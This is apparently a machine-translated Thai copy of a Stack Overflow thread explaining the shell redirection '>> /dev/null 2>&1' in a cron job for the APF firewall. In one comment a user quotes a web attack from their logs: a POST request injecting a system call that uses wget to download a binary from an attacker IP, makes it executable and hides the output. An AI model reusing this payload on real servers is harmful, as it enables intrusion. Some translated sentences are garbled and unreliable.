/ dev / null 2> & 1 คืออะไร


237

ฉันพบรหัสชิ้นนี้ใน /etc/cron.daily/apf

#!/bin/bash  
/etc/apf/apf -f >> /dev/null 2>&1  
/etc/apf/apf -s >> /dev/null 2>&1  

มันล้างและโหลดไฟร์วอลล์อีกครั้ง
ฉันไม่เข้าใจ>> /dev/null 2>&1ส่วนนั้น

จุดประสงค์ของการมีสิ่งนี้ใน cron คืออะไร? มันกำลังเอาชนะกฎไฟร์วอลล์ของฉัน ฉันสามารถลบงาน cron นี้ได้อย่างปลอดภัยหรือไม่


1
FYI: >&- 2>&-วิธีสั้นสมรกระบวนการคือ
Zaz

22
@ Josh: ทำไมทำสิ่งที่เป็นความลับมากกว่าที่พวกเขามีอยู่แล้ว?
endolith

4
@Josh นี่เป็นการปิด FD ที่เกี่ยวข้องซึ่งอาจทำให้โปรแกรมยกเลิก
glglgl

1
เป็น 2>&1 > /dev/nullเช่นเดียวกับ > /dev/null 2>&1 ? มันดูเหมือนเป็นธรรมชาติมากขึ้นกับฉัน ...
edelans

6
@edelans ไม่วิธีนั้นจะเปลี่ยนเส้นทาง stderr ไปยัง stdout แต่เฉพาะ stdout ดั้งเดิมไปที่ - /dev/nullstderr เท่านั้นที่จะถูกส่งออก ลองใช้เครื่องมือที่gist.github.com/zigg/344361751c0110419b0f
zigg

คำตอบ:


354

>> /dev/nullเปลี่ยนเส้นทางเอาต์พุตมาตรฐาน ( stdout) ไป/dev/nullที่ซึ่งจะไม่สนใจ

( >>ดูเหมือนว่าการจัดเรียงฟุ่มเฟือยเนื่องจาก>>หมายถึงผนวกในขณะที่>หมายถึงการตัดทอนและเขียนและต่อท้ายหรือเขียนเพื่อ/dev/nullมีผลสุทธิเดียวกันฉันมักจะใช้>ด้วยเหตุผลนั้น)

2>&1เปลี่ยนเส้นทางข้อผิดพลาดมาตรฐาน ( 2) ไปยังเอาต์พุตมาตรฐาน ( 1) ซึ่งจะละทิ้งไปเช่นกันเนื่องจากเอาต์พุตมาตรฐานได้ถูกเปลี่ยนเส้นทางแล้ว


7
อะไรสัญลักษณ์บ่งชี้ในการมี& 2>&1
ไม่มีใคร

17
& ระบุไฟล์ descriptor โดยปกติจะมีตัวอธิบายไฟล์ 3 ไฟล์ - อินพุตมาตรฐานเอาต์พุตและข้อผิดพลาดมาตรฐาน
ทดสอบ 123

1
@ ไม่มีใครตรวจสอบคำตอบของฉันด้านล่างสำหรับคำถามของคุณstackoverflow.com/questions/10508843/what-is-dev-null-21/…
Vishrant

1
หาก & บ่งชี้ไฟล์ descriptor แล้วทำไมไม่มี & ก่อน 2
user6708151

1
ในกรณีที่คนอื่นไม่อ่านคำตอบอธิบายอธิบายไฟล์ด้านล่าง:When redirecting data streams, & means whatever follows is a file descriptor, not a filename.
Elysiumplain

199

ลองแบ่ง>> /dev/null 2>&1คำสั่งออกเป็นส่วน ๆ :


ส่วนที่ 1: การ >>เปลี่ยนเส้นทางเอาต์พุต

ใช้เพื่อเปลี่ยนทิศทางเอาต์พุตของโปรแกรมและผนวกเอาต์พุตที่ท้ายไฟล์ มากกว่า...


ตอนที่ 2: /dev/nullไฟล์พิเศษ

นี้เป็นอุปกรณ์ที่ Pseudo แฟ้มพิเศษ

คำสั่งls -l /dev/nullจะให้รายละเอียดของไฟล์นี้:

crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null

คุณสังเกตcrwไหม ซึ่งหมายความว่าเป็นไฟล์อุปกรณ์หลอกซึ่งเป็นประเภทไฟล์ตัวอักษรพิเศษที่ให้การเข้าถึงแบบอนุกรม

/dev/nullยอมรับและทิ้งอินพุตทั้งหมด; ไม่สร้างเอาต์พุต (ส่งคืนการบ่งชี้สิ้นสุดไฟล์เสมอเมื่ออ่าน) อ้างอิง: Wikipedia


ส่วนที่ 3: 2>&1ตัวอธิบายไฟล์

เมื่อใดก็ตามที่คุณรันโปรแกรมระบบปฏิบัติการเสมอเปิดสามไฟล์เข้ามาตรฐานส่งออกมาตรฐานและข้อผิดพลาดมาตรฐานที่เรารู้ว่าเมื่อใดก็ตามที่มีเปิดแฟ้มระบบปฏิบัติการ (จากเคอร์เนล ) ผลตอบแทนเป็นจำนวนเต็มไม่เป็นลบเรียกว่าอธิบายไฟล์ file descriptor สำหรับไฟล์เหล่านี้คือ 0, 1 และ 2 ตามลำดับ

ดังนั้น2>&1เพียงแค่บอกว่าเปลี่ยนข้อผิดพลาดมาตรฐานไปยังเอาต์พุตมาตรฐาน

& หมายความว่าอะไรก็ตามดังต่อไปนี้เป็นตัวบ่งชี้ไฟล์ไม่ใช่ชื่อไฟล์

ในระยะสั้นโดยใช้คำสั่งนี้คุณจะบอกโปรแกรมของคุณไม่ต้องตะโกนขณะดำเนินการ

ความสำคัญของการใช้2>&1คืออะไร?

หากคุณไม่ต้องการผลิตเอาต์พุตใด ๆ แม้ในกรณีที่เกิดข้อผิดพลาดบางอย่างในเครื่อง หากต้องการอธิบายให้ชัดเจนยิ่งขึ้นลองพิจารณาตัวอย่างต่อไปนี้:

$ ls -l > /dev/null

สำหรับคำสั่งด้านบนจะไม่มีการพิมพ์เอาต์พุตในเทอร์มินัล แต่จะทำอย่างไรถ้าคำสั่งนี้ก่อให้เกิดข้อผิดพลาด:

$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory

แม้ฉันจะเปลี่ยนเส้นทางไปที่/dev/nullมันจะถูกพิมพ์ใน terminal เป็นเพราะเราไม่ได้เปลี่ยนเส้นทางข้อผิดพลาดไปยัง/dev/nullดังนั้นเพื่อเปลี่ยนเส้นทางข้อผิดพลาดออกเช่นกันก็ต้องเพิ่ม2>&1:

$ ls -l file_doesnot_exists > /dev/null 2>&1

2
เป็นตัวอย่างที่ดี! ไม่ทราบ '>' จะไม่เปลี่ยนเส้นทาง 'STDERR' ก่อนหน้านี้
miao.wang

อธิบายอย่างดี! ข้อมูลมาก ขอบคุณ มันจะช่วยให้ฉันเข้าใจการโจมตีเว็บที่ฉันเพิ่งเจอ Attacker กำลังฉีดรหัสที่เป็นอันตรายผ่านคำขอ POST ซึ่งมีรหัสส่วนบน
Sohel Pathan

1
@Vishrant โค้ดที่ฉีดคือ: POST / ผู้ใช้ / รหัสผ่านชื่อ [% 23post_render] [] = ระบบ & ชื่อ [% 23markup] = cd + / tmp; wget + -O + xm111 + xxx.xxx.xxx.xxx.xxx/xxm.77x+xm111+chmod+777+ xm111; wget + -O + config.json + http: / … > / dev / null 2> & 1 & HTTP / 1.1 xxx.xxx.xxx.xxx เป็น IP ของผู้โจมตีและมีการระบุไว้ว่าไม่เหมาะสมในหลายไซต์ ขั้นตอนการป้องกันขั้นแรกและสำคัญที่สุดคือการบล็อก IP ในไฟร์วอลล์รวมถึงรูปแบบของ IP ดังกล่าว การโจมตีคือการเปลี่ยนเส้นทางบนเว็บไซต์บุคคลที่สามในการโหลดหน้าแรก บันทึกเซิร์ฟเวอร์ Apache แสดง IP และคำขอที่สงสัย
Sohel Pathan

5
ฉันแค่สงสัยว่าทำไมเราถึงไม่ใช้ '&' ก่อนหน้า 2 ด้วย มีคนช่วยเคลียร์ข้อสงสัยของฉันได้ไหม
Snehasish Karmakar

1
@SnehasishKarmakar คำถามที่ถูกกฎหมาย ฉันเชื่อว่าระบบปฏิบัติการนั้นฉลาดพอที่จะเข้าใจว่าอาร์กิวเมนต์แรกจะเป็นตัวอธิบายไฟล์ แต่>เป็นตัวดำเนินการเปลี่ยนเส้นทางสิ่งที่ตามมาคือตัวดำเนินการเปลี่ยนเส้นทางที่คาดว่าจะเพิ่มตำแหน่งไฟล์&ก่อน1ระบุว่าไม่ใช่ไฟล์ที่แอปพลิเคชันต้องเปลี่ยนเส้นทาง ไฟล์ descriptor ฉันจะขอบคุณถ้ามีคนสามารถเพิ่มรายละเอียดของความคิดเห็นนี้
Vishrant

58

นี่เป็นวิธีเรียกใช้งานโปรแกรมอย่างเงียบ ๆ และซ่อนเอาต์พุตทั้งหมด

/dev/nullเป็นวัตถุระบบไฟล์พิเศษที่ทิ้งทุกอย่างที่เขียนลงไป การเปลี่ยนเส้นทางให้กับสตรีมหมายถึงการซ่อนเอาต์พุตของโปรแกรมของคุณ

2>&1ส่วนหนึ่งหมายถึง "เปลี่ยนเส้นทางกระแสข้อผิดพลาดเข้าไปในกระแสออก" ดังนั้นเมื่อคุณเปลี่ยนเส้นทางกระแสออกกระแสข้อผิดพลาดได้รับการเปลี่ยนเส้นทางเป็นอย่างดี แม้ว่าโปรแกรมของคุณจะเขียนไปยังstderrตอนนี้เอาต์พุตนั้นก็จะถูกยกเลิกเช่นกัน


37
จริง2>&1จริงเปลี่ยนเส้นทางไปยังstderr stdoutความแตกต่างระหว่างนี้และสิ่งที่คุณอ้างว่าเป็นตัวอย่างที่ดีที่สุดโดยการเปลี่ยนคำสั่งของการเปลี่ยนเส้นทาง, 2>&1 >/dev/nullเช่น
zigg

15

/dev/null เป็นไฟล์มาตรฐานที่ทิ้งสิ่งที่คุณเขียนไปทั้งหมด แต่รายงานว่าการดำเนินการเขียนสำเร็จ

1เป็นเอาต์พุตมาตรฐานและ2เป็นข้อผิดพลาดมาตรฐาน

2>&1เปลี่ยนทิศทางข้อผิดพลาดมาตรฐานไปยังเอาต์พุตมาตรฐาน &1บ่งชี้บ่งแฟ้ม (ออกมาตรฐาน) มิฉะนั้น (ถ้าคุณใช้เพียง1) 1ที่คุณจะเปลี่ยนเส้นทางไปยังข้อผิดพลาดมาตรฐานไฟล์ชื่อ เปลี่ยนเส้นทางข้อผิดพลาดมาตรฐานทั้งหมดออกมาตรฐานและเขียนทุกที่ไป[any command] >>/dev/null 2>&1/dev/null


7

ฉันใช้>> /dev/null 2>&1สำหรับ cronjob เงียบ cronjob จะทำงานได้ แต่ไม่ส่งรายงานไปยังอีเมลของฉัน

/dev/nullเท่าที่ผมรู้ว่าไม่เอา มันมีประโยชน์โดยเฉพาะอย่างยิ่งเมื่อคุณเรียกใช้cPanelสามารถใช้สำหรับรายงาน cronjob ที่ไม่ใช้งาน


2

ตามที่อธิบายโดยผู้อื่นการเขียนไปยัง / dev / null กำจัดผลลัพธ์ของโปรแกรม cron มักจะส่งอีเมลสำหรับทุกผลลัพธ์จากกระบวนการที่เริ่มต้นด้วย cronjob ดังนั้นโดยการเขียนผลลัพธ์ไปยัง / dev / null คุณป้องกันการสแปมหากคุณระบุที่อยู่ของคุณใน cron


0

/etc/conf.apfแก้ไข DEVEL_MODE="0"ชุด DEVEL_MODEตั้งเป็น1จะเพิ่มงาน cron เพื่อหยุด apf หลังจาก 5 นาที

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.